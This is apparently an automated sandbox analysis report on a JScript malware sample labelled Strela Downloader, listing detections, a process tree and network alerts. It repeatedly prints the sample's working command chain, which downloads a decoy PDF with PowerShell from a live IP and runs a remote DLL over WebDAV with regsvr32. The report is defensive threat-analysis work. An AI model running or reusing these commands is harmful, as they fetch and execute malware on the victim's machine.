Edit tour

Windows Analysis Report
1272729276326267500.js

Overview

General Information

Sample name:	1272729276326267500.js
Analysis ID:	1587995
MD5:	de77528e009c0d67c38070d6bac6a04b
SHA1:	88f398f245562fd6946a353310a932801208853e
SHA256:	7d26a4d1e39f6fcd2108252b85104e043607be17589c4a159fd76a8e5d42fa45
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4856 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1272729276326267500.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2444 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4852 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1264 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7248 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7468 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1748,i,14432181683164921515,984702019013668199,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6912 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2064 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7332 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4856	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2444, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4852, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2444, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4852, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1272729276326267500.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1272729276326267500.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1272729276326267500.js", ProcessId: 4856, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2064, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49700

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1272729276326267500.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4856, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ProcessId: 2444, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1272729276326267500.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4856, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ProcessId: 2444, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1272729276326267500.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4856, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ProcessId: 2444, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1272729276326267500.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4856, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ProcessId: 2444, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1272729276326267500.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4856, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ProcessId: 2444, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1272729276326267500.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4856, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ProcessId: 2444, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1272729276326267500.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1272729276326267500.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1272729276326267500.js", ProcessId: 4856, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2444, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4852, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6912, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2064, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7332, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6912, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2064, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1272729276326267500.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4856, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ProcessId: 2444, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:18:27.082981+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:18:24.623083+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1272729276326267500.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1272729276326267500.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49700 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:18:24 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 